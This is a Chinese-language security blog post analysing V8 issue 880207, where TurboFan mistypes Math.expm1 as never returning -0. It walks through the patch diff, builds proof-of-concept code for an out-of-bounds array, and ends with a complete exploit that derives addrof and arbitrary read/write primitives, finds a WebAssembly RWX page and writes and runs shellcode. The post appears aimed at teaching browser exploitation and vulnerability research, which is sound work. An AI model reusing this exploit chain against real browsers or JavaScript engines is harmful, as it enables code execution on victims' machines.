Chrome-V8-Issue-880207

阅读量279370

发布时间 : 2021-12-06 12:00:13

 

这是A guided tour through Chrome’s javascript compiler上的第三个漏洞,下面是对应的commit。

 

 

环境配置

 

用v8-action(星阑科技开源,使用方法https://mp.weixin.qq.com/s?__biz=Mzg5NjEyMjA5OQ==&mid=2247484916&idx=1&sn=1d07443c7e3817bd4186c616598f4889&chksm=c004a868f773217e8577b404c3032eef5e135311adeab1976c8189c1c0e7fdba3d68ae6d3f16&scene=21#wechat_redirect)

 

env:
PATCH_FLAG: true
COMMIT: 408d89041e7a21f74b37294ebed59f88d357b9c1
DEPOT_UPLOAD: false
SRC_UPLOAD: true
BINARY_UPLOAD: false

 

编译

 

cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..

 

漏洞分析

 

看下diff

 

diff –git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc
index b88b5c6..85c0998 100644
— a/src/compiler/operation-typer.cc
+++ b/src/compiler/operation-typer.cc
@@ -417,7 +417,7 @@
Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
– return Type::Union(Type::PlainNumber(), Type::NaN(), zone());
+ return Type::Number();
}
Type OperationTyper::NumberFloor(Type type) {

 

简单看来就是之前返回值的类型判断失误

 

从这里👇

 

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_6_6

 

可以看到

 

 

expm1(x)返回e^x-1,其类型为除了kMinusZero之外的所有类型(优化阶段定义的类型,和它实际能不能返回-0没有关系,这只是turbofan的预测) kMinusZero就是-0。

 

V8 version 7.1.0 (candidate)
d8> %DebugPrint(-0)
DebugPrint: -0
0x27e6d5e82641: [Map]
– type: HEAP_NUMBER_TYPE
– instance size: 16
– elements kind: HOLEY_ELEMENTS
– unused property fields: 0
– enum length: invalid
– stable_map
– back pointer: 0x27e6d5e825b1 <undefined>
– prototype_validity cell: 0
– instance descriptors (own) #0: 0x27e6d5e82321 <DescriptorArray[2]>
– layout descriptor: (nil)
– prototype: 0x27e6d5e822a1 <null>
– constructor: 0x27e6d5e822a1 <null>
– dependent code: 0x27e6d5e82391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
– construction counter: 0
0
d8> %DebugPrint(0)
DebugPrint: Smi: 0x0 (0)

 

可以看到-0和0差别还挺大,显示-0的type是HEAP_NUMBER_TYPE。

 

我们前面看到turbofan对其返回值定义类型里面没有-0这一说,但实际上会返回,测试一下。

 

function foo(){
return Object.is(Math.expm1(-0), -0);
}
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());

 

 

可以看到优化之后和优化之前结果不同,我猜turbofan直接将其优化为false了

 

 

看了一下还真是,我们的目的是要让turbofan以为它是false,实际上它是true,这样的话就能数组越界(true为1,false为0,turbofan认为是0,觉得不会越界,所以会把CheckBound优化掉,这是漏洞的重点,但是运行时实际是1,然后乘法就能获得任意长度越界),这样就要求它在后面的优化阶段不能直接将其优化为false,我们要逃过一些优化阶段。

构造越界poc

 

首先是Object.is(x, -0)的问题,通常这个运算在turbofan里呈现的是一个SameValue结点这里👇

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_6_27

 

 

但是对于typed optimization会把它用别的直接判断结点替代,就比如我们这里和-0判断是否相等,那就会直接替换为判断是否和-0相等的结点,单这点看不出什么,似乎不影响我们的利用,但是这里优化还没完,在后面,因为判断Math.expm1(x) 的结果不可能是-0,所以这个结点会被进一步直接优化为false(在Load elimination phase),所以我们必须阻止其由SameValue变为ObjectIsMinusZero。

 

那么我们简单的不让turbofan在优化时能够确保Object.is(x, Math.expm1(y))中的一个参数为-0就行,很简单的一件事,我们可以这么做。

 

function foo(x){
return Object.is(Math.expm1(-0), x);
}
print(foo(0));
%OptimizeFunctionOnNextCall(foo);
print(foo(0));
print(foo(-0));

 

 

因为优化时根据调用产生的vector,没有指定是-0,而且那参数还会变,所以没有去掉SameValue,但这只是一方面,我们需要更详细的。

 

我们需要在simplified lowering前使其保持SameValue,也就是可以在escape analysis里把确切的值得出,那么我们可以通过。

 

let o = {mz: -0};
Object.is(o.mz, Math.expm1(-0));

 

这种形式来使得在escape analysis里面出确切值,在simplified lowering中判断其为false,这样才能访问数组时取消check bound。

 

和slide上写的不太一样,那上面写的是这种程度的变量简化在loadelimiation阶段就能替换上去,等不到escape。

 

 

但是我本地尝试的似乎不需要那么麻烦。

 

 

 

 

发现只用let o = {mz: -0};也能解决问题。

 

slide就说这种方法在实践中没有达到预期目的… :\,我自己试了下也是如此,后面作者写的内容我分辨不出是不是这种思路的延续,当我尝试去写时,提炼出来的无非是,在优化一次后再破坏一次,然后再优化,这似乎就是他说的能避免ChangeFloat64ToTagged从而避免-0被截断为0,并且我也在diff里找到了这份poc。

 

(function TestOptimizedFastExpm1MinusZero() {
function foo() {
return Object.is(Math.expm1(-0), -0);
}
assertTrue(foo());
%OptimizeFunctionOnNextCall(foo);
assertTrue(foo());
})();
(function TestOptimizedExpm1MinusZeroSlowPath() {
function f(x) {
return Object.is(Math.expm1(x), -0);
}
function g() {
return f(-0);
}
f(0);
// Compile function optimistically for numbers (with fast inlined
// path for Math.expm1).
%OptimizeFunctionOnNextCall(f);
// Invalidate the optimistic assumption, deopting and marking non-number
// input feedback in the call IC.
f(“0”);
// Optimize again, now with non-lowered call to Math.expm1.
assertTrue(g());
%OptimizeFunctionOnNextCall(g);
assertTrue(g());
})();

 

能成功返回false但是看turbolizer也是被turbofan直接优化为false,还是要自己写。

 

最后心态崩溃,选择35c3 ctf的一道赛题附件来做,题目下载地址👇

 

https://abiondo.me/assets/ctf/35c3/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar

 

那道题基本就是还原了这个issue,不同的是,在自己编译的d8上跑poccheck bound怎么都去不掉,而在这一赛题上。

 

function foo(x) {
let o = {mz: -0};
let i = Object.is(Math.expm1(x), o.mz);
i *= 10;
let a = [0.1, 0.2, 0.3, 0.4, 0.5];
return a[i];
}
foo(0);
for(let i = 10000;i>0;i–){
foo(“0”);
}
for(let i=10000;i>0;i–){
foo(0);
}
print(foo(-0));

 

 

如果你读出来是undefine,不要灰心,换个越界下标,从合法下标开始一个个增一个个试。

 

 

在simplified lowering阶段这个check bounds会被消掉,原因很简单,turbofan在优化时对于确定的显示不会造成越界的值,会把check优化掉。

 

那么我们最终越界poc。

 

var oob_arr;
function foo(x) {
let o = {mz: -0};
let i = Object.is(Math.expm1(x), o.mz);
i *= 14;
let a = [0.1, 0.2, 0.3, 0.4, 0.5];
let b = [1.1, 1.2, 1.3, 1.4];
oob_arr = b;
a[i] = -1;
}
foo(0);
for(let i = 10000;i>0;i–){
foo(“0”);
}
for(let i=10000;i>0;i–){
foo(0);
}
foo(-0);
print(oob_arr.length);

 

 

如此我们就得到了一个越界数组,我们需要做的是误导turbofan,让其产生错误的判断,从而消去一些检查,因为turbofan认为不会发生的事并不是真的不会发生,他只是基于优化时的feedback的猜测去更改一些生成的IR,另外数组越界要发生在函数内,因为优化的是函数,对应的能优化掉的检查也是函数内的,我们想要返回一个能够越界的数字给外面数组用来越界是不现实的,我们要么在内部完成越界,要么把内部完成越界的数组或者越界后读的值,或者越界后写入函数外数组的length位置。

 

另外对于越界之后的操作,差别不大,只需好好调试或查找资料,自己可以完成剩余部分的工作,贴上我写的。

 

exp

 

function hex(i)
{
return i.toString(16).padStart(16, “0”);
}
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val – tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
var oob_arr;
function foo(x) {
let o = {mz: -0};
let i = Object.is(Math.expm1(x), o.mz);
i *= 14;
let a = [0.1, 0.2, 0.3, 0.4, 0.5];
let b = [1.1, 1.2, 1.3, 1.4];
oob_arr = b;
a[i] = -1;
}
foo(0);
for(let i = 10000;i>0;i–){
foo(“0”);
}
for(let i=10000;i>0;i–){
foo(0);
}
foo(-0);
print(oob_arr.length);
var obj = {mark:i2f(0x11111111),n:i2f(0x41414141)};
var ABuffer = new ArrayBuffer(0x200);
var off_buffer = 0;
var off_obj = 0;
//%DebugPrint(obj);
//%DebugPrint(ABuffer);
for(var i=0;i<500;i++)
{
let tmp = oob_arr[i];
if(f2i(tmp) == 0x11111111)
{
off_obj = i+1;
break;
}
}
for(var i=0;i<500;i++)
{
let tmp = oob_arr[i];
if(f2i(tmp) == 0x0000000000000200)
{
off_buffer = i+1;
break;
}
}
console.log(“[+] off_obj @”+off_obj);
console.log(“[+] off_buffer @”+off_buffer);
let dataView = new DataView(ABuffer);
function addrof(x)
{
obj.n = x;
return f2i(oob_arr[off_obj]);
}
function arb_read(addr)
{
oob_arr[off_buffer] = i2f(addr);
return f2i(dataView.getFloat64(0,true));
}
function arb_write(addr,payload)
{
oob_arr[off_buffer] = i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
}
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let f = wasmInstance.exports.main;
let f_Addr = addrof(f);
f_Addr = arb_read(f_Addr-1+8*3);
f_Addr = arb_read(f_Addr-1+8*1);
f_Addr = arb_read(f_Addr-1+8*2);
rwx_addr = arb_read(f_Addr-1+8*0x1d);
print(“[*] Get RWX address : “+hex(rwx_addr));
var shellcode = [0x48,0xb8,0x2f,0x78,0x63,0x61,0x6c,0x63,0x0,0x0,0x50,0x48,0xb8,
0x2f,0x75,0x73,0x72,0x2f,0x62,0x69,0x6e,0x50,0x48,0x89,0xe7,0x48,
0x31,0xc0,0x50,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0x48,0xc7,0xc0,
0x3a,0x31,0x00,0x00,0x50,0x48,0xb8,0x44,0x49,0x53,
0x50,0x4c,0x41,0x59,0x3d,0x50,0x48,0x89,0xe2,0x48,0x31,0xc0,0x50,
0x52,0x48,0x89,0xe2,0x48,0xc7,0xc0,0x3b,0x00,0x00,0x00,0x0f,0x05];
arb_write(rwx_addr, shellcode);
print(“[*] Tigger my shellcode”);
f();

 

 

其实真正核心工作只有构造出越界数组部分,剩下的把自己以前写的exp搬来修改调整就出来了。

 

参考

 

https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_6_0

https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/

本文由星阑科技原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/261343

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
星阑科技
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66